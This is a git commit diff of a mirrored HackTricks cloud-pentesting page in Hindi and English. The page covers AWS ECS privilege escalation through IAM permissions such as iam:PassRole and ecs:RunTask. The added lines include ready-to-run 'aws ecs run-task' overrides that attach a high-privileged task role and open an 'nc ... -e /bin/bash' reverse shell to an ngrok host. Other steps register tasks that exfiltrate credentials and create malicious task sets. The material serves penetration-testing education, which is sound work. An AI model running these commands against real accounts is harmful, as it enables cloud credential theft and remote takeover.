mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 04:41:55 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -12,7 +12,7 @@ ECS के बारे में अधिक **जानकारी**:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
एक हमलावर `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमति का दुरुपयोग करके ECS में **एक नया टास्क परिभाषा** उत्पन्न कर सकता है जिसमें **एक दुर्भावनापूर्ण कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।
|
||||
एक attacker, ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` permission का दुरुपयोग करके **एक नया task definition बना** सकता है जिसमें एक **malicious container** होता है जो metadata credentials चुरा लेता है और **इसे run** कर सकता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
एक साइट जैसे webhook.site के साथ एक वेबहुक बनाएं
|
||||
webhook.site जैसी साइट के साथ एक webhook बनाएं
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**संभावित प्रभाव:** एक अलग ECS भूमिका में सीधे प्रिवेस्क।
|
||||
**संभावित प्रभाव:** Direct privesc to a different ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
एक हमलावर जिसके पास `iam:PassRole` और `ecs:RunTask` permissions हैं, वह modified **execution role**, **task role** और container के **command** values के साथ एक नया ECS task शुरू कर सकता है। `ecs run-task` CLI command में `--overrides` flag होता है जो runtime पर `executionRoleArn`, `taskRoleArn` और container के `command` को task definition को छुए बिना बदलने की अनुमति देता है।
|
||||
|
||||
निर्दिष्ट IAM roles (`taskRoleArn` और `executionRoleArn`) की trust policy में `ecs-tasks.amazonaws.com` द्वारा उन्हें assume करने की अनुमति/विश्वास होना चाहिए।
|
||||
|
||||
साथ ही, हमलावर को निम्न जानकारियाँ पता होनी चाहिए:
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (यदि कोई security group निर्दिष्ट नहीं है तो default one उपयोग किया जाएगा)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
|
||||
--task-definition <task-definition:revision> \
|
||||
--overrides '
|
||||
{
|
||||
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
|
||||
"containerOverrides": [
|
||||
{
|
||||
"name": <container-name>,
|
||||
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
ऊपर के कोड स्निपेट में attacker केवल `taskRoleArn` वैल्यू को ओवरराइड करता है। हालांकि, attacker के पास कमांड में निर्दिष्ट `taskRoleArn` और task definition में निर्दिष्ट `executionRoleArn` दोनों पर `iam:PassRole` परमिशन होना जरूरी है ताकि यह attack हो सके।
|
||||
|
||||
यदि attacker द्वारा पास की जा सकने वाली IAM role में ECR image को pull करने और ECS task शुरू करने के लिए पर्याप्त privileges हैं (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) तो attacker `ecs run-task` कमांड में `executionRoleArn` और `taskRoleArn` दोनों के लिए वही IAM role निर्दिष्ट कर सकता है।
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
|
||||
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
|
||||
"containerOverrides": [
|
||||
{
|
||||
"name": "<container-name>",
|
||||
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Potential Impact:** किसी भी ECS task role पर सीधे privesc।
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
पिछले उदाहरण की तरह, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाता है**।\
|
||||
हालांकि, इस मामले में, दुष्ट कार्य परिभाषा को चलाने के लिए एक कंटेनर इंस्टेंस होना चाहिए।
|
||||
पिछले उदाहरण की तरह, एक attacker जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissions का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चोरी करे और उसे **run it**।\
|
||||
हालाँकि, इस मामले में, malicious task definition को चलाने के लिए एक container instance की आवश्यकता होगी।
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
|
||||
**संभावित प्रभाव:** Direct privesc to any ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
जैसे कि पिछले उदाहरण में, एक हमलावर **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करके ECS में **एक नया कार्य परिभाषा** उत्पन्न कर सकता है जिसमें एक **दुष्ट कंटेनर** होता है जो मेटाडेटा क्रेडेंशियल्स चुराता है और **इसे चलाने के लिए कम से कम 1 कार्य चलाते हुए एक नई सेवा बनाकर।**
|
||||
पिछले उदाहरण की तरह, एक हमलावर जो ECS में **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** या **`ecs:CreateService`** अनुमतियों का दुरुपयोग करता है, वह **generate a new task definition** बना सकता है जिसमें एक **malicious container** हो जो metadata credentials चुरा ले और **run it by creating a new service with at least 1 task running.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -123,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
|
||||
**संभावित प्रभाव:** Direct privesc to any ECS role.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
वास्तव में, केवल उन अनुमतियों के साथ, यह संभव है कि ओवरराइड्स का उपयोग करके किसी कंटेनर में किसी भी भूमिका के साथ मनमाने आदेशों को निष्पादित किया जा सके, जैसे:
|
||||
दरअसल, सिर्फ़ उन अनुमतियों के साथ overrides का उपयोग करके किसी container में किसी भी role के साथ arbitrary commands चलाना संभव है, कुछ इस तरह:
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -135,16 +181,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**संभावित प्रभाव:** किसी भी ECS भूमिका के लिए सीधे प्रिवेस्क।
|
||||
**संभावित प्रभाव:** किसी भी ECS role पर सीधे privesc।
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
यह परिदृश्य पिछले वाले के समान है लेकिन **`iam:PassRole`** अनुमति के **बिना**।\
|
||||
यह अभी भी दिलचस्प है क्योंकि यदि आप एक मनमाना कंटेनर चला सकते हैं, भले ही यह बिना भूमिका के हो, तो आप **एक विशेषाधिकार प्राप्त कंटेनर चला सकते हैं ताकि** नोड पर **भाग जाएं** और **EC2 IAM भूमिका** और **अन्य ECS कंटेनरों की भूमिकाएं** चुरा सकें जो नोड में चल रही हैं।\
|
||||
आप यहां तक कि **अन्य कार्यों को EC2 उदाहरण के अंदर चलाने के लिए मजबूर कर सकते हैं** जिसे आप समझौता करते हैं ताकि उनकी क्रेडेंशियल्स चुरा सकें (जैसा कि [**नोड अनुभाग में प्रिवेस्क**](aws-ecs-privesc.md#privesc-to-node) में चर्चा की गई है)।
|
||||
यह परिदृश्य पिछले वाले जैसा है लेकिन **बिना** **`iam:PassRole`** permission के।\
|
||||
यह अभी भी महत्वपूर्ण है क्योंकि यदि आप एक मनमाना container चला सकते हैं, भले ही वह role के बिना हो, तो आप **run a privileged container to escape** करके node तक पहुँच सकते हैं और **steal the EC2 IAM role** और node पर चल रहे **other ECS containers roles** चुरा सकते हैं।\
|
||||
आप यहाँ तक कि उस EC2 instance में भेजकर अन्य tasks को भी मजबूर कर सकते हैं जिसे आप compromise करते हैं ताकि उनकी credentials चुरा सकें (जैसा कि [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) में चर्चा की गई है)।
|
||||
|
||||
> [!WARNING]
|
||||
> यह हमला केवल तभी संभव है जब **ECS क्लस्टर EC2** उदाहरणों का उपयोग कर रहा हो और Fargate का नहीं।
|
||||
> यह attack सिर्फ तभी संभव है जब **ECS cluster is using EC2** instances हों और Fargate का उपयोग नहीं हो रहा हो।
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -187,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
एक हमलावर के पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** होने पर वह **कमांड्स** को एक चल रहे कंटेनर के अंदर निष्पादित कर सकता है और उससे जुड़े IAM भूमिका को एक्सफिल्ट्रेट कर सकता है (आपको विवरण अनुमति की आवश्यकता है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है)।\
|
||||
हालांकि, ऐसा करने के लिए, कंटेनर इंस्टेंस को **ExecuteCommand एजेंट** चलाना होगा (जो डिफ़ॉल्ट रूप से नहीं होता है)।
|
||||
जिसके पास **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** permissions हों, attacker running container के अंदर **execute commands** कर सकता है और उससे जुड़ा IAM role exfiltrate कर सकता है (आपको describe permissions की जरूरत होती है क्योंकि `aws ecs execute-command` चलाने के लिए यह आवश्यक है).\
|
||||
हालाँकि, ऐसा करने के लिए container instance पर **ExecuteCommand agent** चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं होता).
|
||||
|
||||
इसलिए, हमलावर कोशिश कर सकता है:
|
||||
Therefore, the attacker cloud try to:
|
||||
|
||||
- **हर चल रहे कंटेनर में एक कमांड चलाने की कोशिश करें**
|
||||
- **हर running container में command चलाने की कोशिश करें**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -210,18 +256,18 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ एक कार्य चलाएँ।
|
||||
- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ एक कार्य चलाएँ।
|
||||
- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ एक सेवा बनाएँ।
|
||||
- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ एक सेवा अपडेट करें।
|
||||
- यदि उसके पास **`ecs:RunTask`** है, तो `aws ecs run-task --enable-execute-command [...]` के साथ task चलाएँ
|
||||
- यदि उसके पास **`ecs:StartTask`** है, तो `aws ecs start-task --enable-execute-command [...]` के साथ task चलाएँ
|
||||
- यदि उसके पास **`ecs:CreateService`** है, तो `aws ecs create-service --enable-execute-command [...]` के साथ service बनाएँ
|
||||
- यदि उसके पास **`ecs:UpdateService`** है, तो `aws ecs update-service --enable-execute-command [...]` के साथ service अपडेट करें
|
||||
|
||||
आप **इन विकल्पों के उदाहरण** **पिछले ECS प्रिवेस्क अनुभागों** में पा सकते हैं।
|
||||
आप **उन विकल्पों के उदाहरण** को **previous ECS privesc sections** में पा सकते हैं।
|
||||
|
||||
**संभावित प्रभाव:** कंटेनरों से जुड़े एक अलग भूमिका में प्रिवेस्क।
|
||||
**Potential Impact:** containers से जुड़े किसी अलग role में Privesc।
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
जांचें कि आप **ssm प्रिवेस्क पृष्ठ** में इस अनुमति का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके:
|
||||
जाँचें **ssm privesc page** में कि आप इस permission का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
aws-ssm-privesc.md
|
||||
@@ -229,24 +275,26 @@ aws-ssm-privesc.md
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
जांचें कि आप **ec2 प्रिवेस्क पृष्ठ** में इन अनुमतियों का दुरुपयोग कैसे कर सकते हैं ताकि **ECS में प्रिवेस्क** हो सके:
|
||||
जाँचें **ec2 privesc page** में कि आप इन permissions का दुरुपयोग कर **privesc to ECS** कैसे कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `?ecs:RegisterContainerInstance`
|
||||
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
|
||||
|
||||
TODO: क्या किसी अन्य AWS खाते से एक उदाहरण पंजीकृत करना संभव है ताकि कार्य उन मशीनों के तहत चलाए जाएँ जो हमलावर द्वारा नियंत्रित हैं??
|
||||
इन permissions वाले हमलावर संभावित रूप से एक EC2 instance को एक ECS cluster में register कर सकते हैं और उस पर tasks चला सकते हैं। इससे हमलावर को ECS tasks के context में arbitrary code execute करने की अनुमति मिल सकती है।
|
||||
|
||||
- TODO: क्या यह संभव है कि किसी अलग AWS account से instance register किया जाए ताकि tasks हमलावर द्वारा नियंत्रित machines पर चलें??
|
||||
|
||||
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: इसका परीक्षण करें
|
||||
> TODO: Test this
|
||||
|
||||
एक हमलावर जिसके पास अनुमतियाँ हैं `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` वह **एक मौजूदा ECS सेवा के लिए एक दुर्भावनापूर्ण कार्य सेट बना सकता है और प्राथमिक कार्य सेट को अपडेट कर सकता है**। इससे हमलावर को **सेवा के भीतर मनमाना कोड निष्पादित करने** की अनुमति मिलती है।
|
||||
इन permissions वाले हमलावर `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, और `ecs:DescribeTaskSets` के साथ **existing ECS service के लिए एक malicious task set create कर सकते हैं और primary task set को update कर सकते हैं**। इससे हमलावर को सर्विस के भीतर **arbitrary code execute करने** की अनुमति मिलती है।
|
||||
```bash
|
||||
bashCopy code# Register a task definition with a reverse shell
|
||||
# Register a task definition with a reverse shell
|
||||
echo '{
|
||||
"family": "malicious-task",
|
||||
"containerDefinitions": [
|
||||
@@ -270,9 +318,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**संभावित प्रभाव**: प्रभावित सेवा में मनचाहा कोड निष्पादित करें, जो इसकी कार्यक्षमता को प्रभावित कर सकता है या संवेदनशील डेटा को बाहर निकाल सकता है।
|
||||
**संभावित प्रभाव**: प्रभावित सेवा में Execute arbitrary code चलाया जा सकता है, जिससे इसकी कार्यक्षमता प्रभावित हो सकती है या संवेदनशील डेटा का exfiltrating हो सकता है।
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user